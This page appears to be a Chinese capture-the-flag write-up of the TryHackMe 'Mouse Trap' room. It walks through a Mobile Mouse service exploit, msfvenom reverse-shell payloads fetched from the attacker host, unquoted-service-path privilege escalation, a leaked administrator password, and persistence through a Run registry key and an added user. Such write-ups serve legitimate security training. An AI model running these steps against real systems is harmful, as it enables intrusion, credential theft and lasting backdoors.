当前位置: 首页 > news >正文

THM:Mouse Trap[WriteUP]

目录

连接至THM服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

提取扫描结果中的端口号

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机UDP常用端口进行开放扫描

使用smbmap尝试枚举靶机SMB共享

使用smbclient尝试列出靶机SMB共享

使用curl访问靶机9099端口

边界突破

通过Google对9099端口服务以及漏洞进行搜索

通过Github对该应用进行PoC、EXP搜索

特权提升

查看该用户可用特权

查看该系统中存在的用户

查看该服务根目录ACL

查看靶机中所有已安装的服务

查看靶机系统信息

查看靶机Mobile Mouse服务目录构成

通过查询Windows中的进程管理器Process函数语法可得

根据上述规则攻击机本地侧再次生成一个Payload

操控靶机对攻击机上生成的Payload下载到Mobile Mouse服务目录下

本地侧新开nc开始监听

手动启动靶机中的Mobile Mouse Service服务

使用evil-winrm可以直接通过该凭证进行登录

重新生成Payload用于后渗透持久化

靶机将Payload下载到C:\Windows\Temp目录下


连接至THM服务器并启动靶机

靶机IP:10.10.206.239

分配IP:10.11.120.102


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.206.239 -r 1-65535 --ulimit 5000 > res

提取扫描结果中的端口号
ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -p$ports -sCV 10.10.206.239

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -p$ports --script=vuln -O 10.10.206.239

使用nmap对靶机UDP常用端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.206.239

使用smbmap尝试枚举靶机SMB共享

smbmap -H 10.10.206.239

使用smbclient尝试列出靶机SMB共享
smbclient -L \\10.10.206.239

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# smbclient -L \\10.10.206.239
Password for [WORKGROUP\root]:
session setup failed: NT_STATUS_ACCESS_DENIED

使用curl访问靶机9099端口

curl -v http://10.10.206.239:9099

  • 由输出可知,该端口托管应用或服务:MOUSETRAP

边界突破

通过Google对9099端口服务以及漏洞进行搜索

  • 经过一段时间搜索可知,该端口默认托管服务为:Mobile Mouse
通过Github对该应用进行PoC、EXP搜索

  • 通过命令直接克隆Github上的EXP
git clone https://github.com/blue0x1/mobilemouse-exploit.git
  • 通过msfvenom生成反弹Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=4444 -f exe > shell.exe
  • 本地侧nc开始监听
rlwrap -cAr nc -lvnp 4444
  • 执行EXP脚本,本地侧nc收到回显
python CVE-2023-31902-v2.py --target 10.10.51.172 --lhost 10.11.120.102 --file shell.exe

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.11.120.102] from (UNKNOWN) [10.10.51.172] 49803
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
mousetrap\purpletom

  • 查找user.txt位置并查看其内容

C:\Windows\system32>cd c:\
cd c:\

c:\>dir /s user.txt
dir /s user.txt
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362

 Directory of c:\Users\purpletom

07/04/2024  01:58 PM                22 user.txt
               1 File(s)             22 byte

C:\>type c:\Users\purpletom\user.txt
type c:\Users\purpletom\user.txt
THM{XXXXX_XXXXX_X_XXX}


特权提升

查看该用户可用特权

whoami /priv

查看该系统中存在的用户

net user

  • 切换到Powershell
powershell

C:\Users\purpletom\Desktop>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

  • 从攻击机中将SharpUp进行下载
iwr http://10.11.120.102:8080/SharpUp.exe -O SharpUp.exe

  • 运行SharpUp对当前用户进行特权审计

  • 由SharpUp审计结果可见`Mobile Mouse Service`服务绝对路径存在空格而且未使用双引号

查看该服务根目录ACL

icacls "C:\Program Files (x86)\Mobile Mouse"

  • 由输出可见,作为用户对`Mobile Mouse`具有读、、执行权限

查看靶机中所有已安装的服务

wmic service list brief
  • 可以找到`Mobile Mouse Service`服务全名,并且当前状态是Stopped

查看靶机系统信息

systeminfo

查看靶机Mobile Mouse服务目录构成

  • 由dir命令输出结果可见,在该服务目录下存在两个包含空格的文件或目录
通过查询Windows中的进程管理器Process函数语法可得
BOOL CreateProcessA(LPCSTR                lpApplicationName,LPSTR                 lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL                  bInheritHandles,DWORD                 dwCreationFlags,LPVOID                lpEnvironment,LPCSTR                lpCurrentDirectory,LPSTARTUPINFOA        lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation
);
  • 语法中lpApplicationName是服务启动时会被执行的模块
  • 该参数的文件名称查询规则即当遇到包含空格的文件如:`Test ABC.exe`时
  • 会先尝试解释`Test.exe`,如果未找到`Test.exe`则才会继续查找`Test ABC.exe`

根据上述规则攻击机本地侧再次生成一个Payload

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=1426 -f exe > 'Mouse.exe'

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=1426 -f exe > 'Mouse.exe'       
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes

操控靶机对攻击机上生成的Payload下载到Mobile Mouse服务目录下
curl -O http://10.11.120.102:8080/Mouse.exe

本地侧新开nc开始监听

rlwrap -cAr nc -lvnp 1426
手动启动靶机中的Mobile Mouse Service服务
net start "Mobile Mouse Service"
  • 本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1426
listening on [any] 1426 ...
connect to [10.11.120.102] from (UNKNOWN) [10.10.100.171] 49958
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

  • 在C:\Users\Administrator\Desktop目录下找到root.txt

  • 查看rdp_credentials.txt内容可获得Administrator用户凭证
gc rdp_credentials.txt

PS C:\Users\Administrator\Desktop> gc rdp_credentials.txt
gc rdp_credentials.txt
Username: administrator
Password: d0ntTRY2m3ssw1thj3rry!!!

使用evil-winrm可以直接通过该凭证进行登录
evil-winrm -i 10.10.100.171 -u 'Administrator' -p 'd0ntTRY2m3ssw1thj3rry!!!'

重新生成Payload用于后渗透持久化
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=666 -f exe > shell.exe

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.120.102 LPORT=666 -f exe > shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes

靶机将Payload下载到C:\Windows\Temp目录下
wget http://10.11.120.102:8080/shell.exe -o shell.exe

  • 通过system权限执行以下命令,当用户登陆系统时自动执行C:\Windows\Temp\shell.exe
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Windows\Temp\shell.exe" /f
  • 为满足题目需要,这里新建一个terry用户
net user terry ABC123abc /add
  • 运行C:\Users\Administrator\Desktop目录下的checker.exe获取flag

PS C:\Users\Administrator\Desktop> .\checker.exe
.\checker.exe
Flag: THM{XXXXX_XXXXXXX_#XXXX#}

相关文章:

THM:Mouse Trap[WriteUP]

目录 连接至THM服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 提取扫描结果中的端口号 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机UDP常用端口进行开放扫描 使用smbmap尝试枚举靶机…...

Nginx详细安装配置过程

目录 1.nginx环境准备 1.1 在配置好yum源之后,安装如下的编译工具 1.2 安装nginx所需的依赖库 1.3 关闭防火墙,selinux,并确保网络正常 2.nginx的编译安装 2.1从nginx官网复制下载链接,wget 下载 2.2? 解压nginx源代码 2…...

目标检测入门指南:从原理到实践

目录 1. 数据准备与预处理 2. 模型架构设计 2.1 特征提取网络原理 2.2 区域提议网络(RPN)原理 2.3 特征金字塔网络(FPN)原理 2.4 边界框回归原理 2.5 非极大值抑制(NMS)原理 2.6 多尺度训练与测试原理 2.7 损失函数设计原理 3. 损失函数设计 4. 训练策略优化 5. 后…...

2024 高通边缘智能创新应用大赛智能边缘计算赛道冠军方案解读

2024 高通边缘智能创新应用大赛聚焦不同细分领域的边缘智能创新应用落地,共设立三大热门领域赛道——工业智能质检赛道、智能边缘计算赛道和智能机器人赛道。本文为智能边缘计算赛道冠军项目《端侧大模型智能翻译机》的开发思路与成果分享。 赛题要求 聚焦边缘智能…...

tcpdump 网络数据包分析工具

简介 用简单的话来定义tcpdump,就是:dump the traffic on a network,根据使用者的定义对网络上的数据包进行截获的包分析工具。 tcpdump可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的…...

鱼眼相机模型与去畸变实现

1.坐标系说明 鱼眼相机模型涉及到世界坐标系、相机坐标系、图像坐标系、像素坐标系之间的转换关系。对于分析鱼眼相机模型,假定世界坐标系下的坐标点,经过外参矩阵的变换转到相机坐标系,相机坐标再经过内参转换到像素坐标,具体如下 进一步进…...

【Unity功能集】TextureShop纹理工坊(七)魔棒工具

项目源码:在终章发布 索引 魔棒工具PS魔棒工具魔棒工具功能点提炼TextureShop魔棒工具根据色差选取非连续区域中间镂空边框的流动虚线取消选区魔棒工具 魔棒工具,也既是通过颜色色差,在图像上选出自定义选区的工具(了解PS魔棒工具)。 PS魔棒工具 我们先来看看PS中的魔棒…...

ASP.NET Core Web API Hangfire

ASP.NET Core Web API Hangfire 前言一、安装二、相关代码1.代码片段2.代码片段3.运行效果 三、测试代码1.即发即弃作业2.延迟作业3.重复作业4.延续作业5.页面调度作业 前言 👨‍💻👨‍🌾📝记录学习成果,以…...

E-commerce .net+React(一)——项目初始化

文章目录 项目地址一、创建.Net环境1.1环境配置1.1.1 使用vscode创建webapi1.1.2 Clean architecture结构创建1.1.3 将创建好结构的项目添加到git里1.1.4 EF Core配置1. 在infrastructure里安装EF所需环境2. 创建Product数据模型3. 创建EF Core的DbContext 数据库上下文4. 创建…...

算法每日双题精讲 —— 滑动窗口(水果成篮,找到字符串中所有字母异位词)

🌟快来参与讨论💬,点赞👍、收藏⭐、分享📤,共创活力社区。 🌟 别再犹豫了!快来订阅我们的算法每日双题精讲专栏,一起踏上算法学习的精彩之旅吧!💪…...

C++ 设计模式:享元模式(Flyweight Pattern)

链接:C 设计模式 链接:C 设计模式 - 单例模式 享元模式(Flyweight Pattern)是一种结构型设计模式,它通过共享尽可能多的相同对象来减少内存使用和提高性能。享元模式适用于大量细粒度对象的场景,这些对象之…...

Docker+Portainer 离线安装

1. Docker安装 步骤一:官网下载 docker 安装包 步骤二:解压安装包; tar -zxvf docker-24.0.6.tgz 步骤三:将解压之后的docker文件移到 /usr/bin目录下; cp docker/* /usr/bin/ 步骤四:将docker注册成系统服务; vim /etc/sy…...

Linux第100步_Linux之设置LCD作为终端控制台和LCD背光调节

KMS是Kemmel Mode Setting的缩写,内核显示模式设置。它主要负责显示的控制,包括屏幕分辨率、屏幕刷新率和颜色深度等等。 CRTC是指显示控制器,在DRM里有多个显存,通过操作CRTC来控制要显示那个显存。 KMS包含了FB框架。DRM驱动默…...

Chapter09 国际化i18n 和 数据校验:Validation

文章目录 1 Java国际化2 Spring6国际化3 使用Spring6国际化4 数据校验:Validation实验一:通过Validator接口实现实验二:Bean Validation注解实现实验三:基于方法实现校验实验四:实现自定义校验 1 Java国际化 示例&…...

活动预告 | Microsoft 安全在线技术公开课:通过扩展检测和响应抵御威胁

课程介绍 通过 Microsoft Learn 免费参加 Microsoft 安全在线技术公开课,掌握创造新机遇所需的技能,加快对 Microsoft Cloud 技术的了解。参加我们举办的“通过扩展检测和响应抵御威胁”技术公开课活动,了解如何更好地在 Microsoft 365 Defen…...

Unresolved plugin: ‘org.apache.maven.plugins:maven-site-plugin:3.12.1‘

问题 使用idea 社区办加载项目提示下面问题: Unresolved plugin: org.apache.maven.plugins:maven-site-plugin:3.12.1 问题解决 maven插件地址: https://maven.apache.org/plugins/maven-dependency-plugin/plugins.html Maven 中央仓库地址&#…...

5个开源RAG框架对比

还在为RAG应用开发头疼吗?别急,今天给大家推荐五款完全开源免费的RAG框架,覆盖自动优化、多模态处理、本地部署、生产环境支持等多种场景,助你轻松搞定RAG开发!👇 1. AutoRAG:自动优化&#xff…...

活动预告 | Microsoft Power Platform 在线技术公开课:实现业务流程自动化

课程介绍 参加“Microsoft Power Platform 在线技术公开课:实现业务流程自动化”活动,了解如何更高效地开展业务。参加我们举办的本次免费培训活动,了解如何借助 Microsoft AI Builder 和 Power Automate 优化工作流。结合使用这些工具可以帮…...

【分布式文件存储系统Minio】2024.12保姆级教程

文章目录 1.介绍1.分布式文件系统2.基本概念 2.环境搭建1.访问网址2.账号密码都是minioadmin3.创建一个桶4.**Docker安装miniomc突破7天限制**1.拉取镜像2.运行容器3.进行配置1.格式2.具体配置 4.查看桶5.给桶开放权限 3.搭建minio模块1.创建一个oss模块1.在sun-common下创建2.…...

解决ssh和git秘钥认证失败问题

已正确上传公钥到远程服务器,但是本地的连接认证还是使用默认秘钥文件名id_rsa或者默认用户名,导致了认证失败,总结了以下解决办法: 1、ssh秘钥认证 远程登录的时候可能ssh客户端默认使用id_rsa文件名秘钥,但是之前生…...

YSYX学习记录(八)

C语言&#xff0c;练习0&#xff1a; 先创建一个文件夹&#xff0c;我用的是物理机&#xff1a; 安装build-essential 练习1&#xff1a; 我注释掉了 #include <stdio.h> 出现下面错误 在你的文本编辑器中打开ex1文件&#xff0c;随机修改或删除一部分&#xff0c;之后…...

转转集团旗下首家二手多品类循环仓店“超级转转”开业

6月9日&#xff0c;国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解&#xff0c;“超级…...

Caliper 配置文件解析:config.yaml

Caliper 是一个区块链性能基准测试工具,用于评估不同区块链平台的性能。下面我将详细解释你提供的 fisco-bcos.json 文件结构,并说明它与 config.yaml 文件的关系。 fisco-bcos.json 文件解析 这个文件是针对 FISCO-BCOS 区块链网络的 Caliper 配置文件,主要包含以下几个部…...

.Net Framework 4/C# 关键字(非常用,持续更新...)

一、is 关键字 is 关键字用于检查对象是否于给定类型兼容,如果兼容将返回 true,如果不兼容则返回 false,在进行类型转换前,可以先使用 is 关键字判断对象是否与指定类型兼容,如果兼容才进行转换,这样的转换是安全的。 例如有:首先创建一个字符串对象,然后将字符串对象隐…...

佰力博科技与您探讨热释电测量的几种方法

热释电的测量主要涉及热释电系数的测定&#xff0c;这是表征热释电材料性能的重要参数。热释电系数的测量方法主要包括静态法、动态法和积分电荷法。其中&#xff0c;积分电荷法最为常用&#xff0c;其原理是通过测量在电容器上积累的热释电电荷&#xff0c;从而确定热释电系数…...

深度学习水论文:mamba+图像增强

&#x1f9c0;当前视觉领域对高效长序列建模需求激增&#xff0c;对Mamba图像增强这方向的研究自然也逐渐火热。原因在于其高效长程建模&#xff0c;以及动态计算优势&#xff0c;在图像质量提升和细节恢复方面有难以替代的作用。 &#x1f9c0;因此短时间内&#xff0c;就有不…...

【Nginx】使用 Nginx+Lua 实现基于 IP 的访问频率限制

使用 NginxLua 实现基于 IP 的访问频率限制 在高并发场景下&#xff0c;限制某个 IP 的访问频率是非常重要的&#xff0c;可以有效防止恶意攻击或错误配置导致的服务宕机。以下是一个详细的实现方案&#xff0c;使用 Nginx 和 Lua 脚本结合 Redis 来实现基于 IP 的访问频率限制…...

淘宝扭蛋机小程序系统开发:打造互动性强的购物平台

淘宝扭蛋机小程序系统的开发&#xff0c;旨在打造一个互动性强的购物平台&#xff0c;让用户在购物的同时&#xff0c;能够享受到更多的乐趣和惊喜。 淘宝扭蛋机小程序系统拥有丰富的互动功能。用户可以通过虚拟摇杆操作扭蛋机&#xff0c;实现旋转、抽拉等动作&#xff0c;增…...

MySQL:分区的基本使用

目录 一、什么是分区二、有什么作用三、分类四、创建分区五、删除分区 一、什么是分区 MySQL 分区&#xff08;Partitioning&#xff09;是一种将单张表的数据逻辑上拆分成多个物理部分的技术。这些物理部分&#xff08;分区&#xff09;可以独立存储、管理和优化&#xff0c;…...

android RelativeLayout布局

<?xml version"1.0" encoding"utf-8"?> <RelativeLayout xmlns:android"http://schemas.android.com/apk/res/android"android:layout_width"match_parent"android:layout_height"match_parent"android:gravity&…...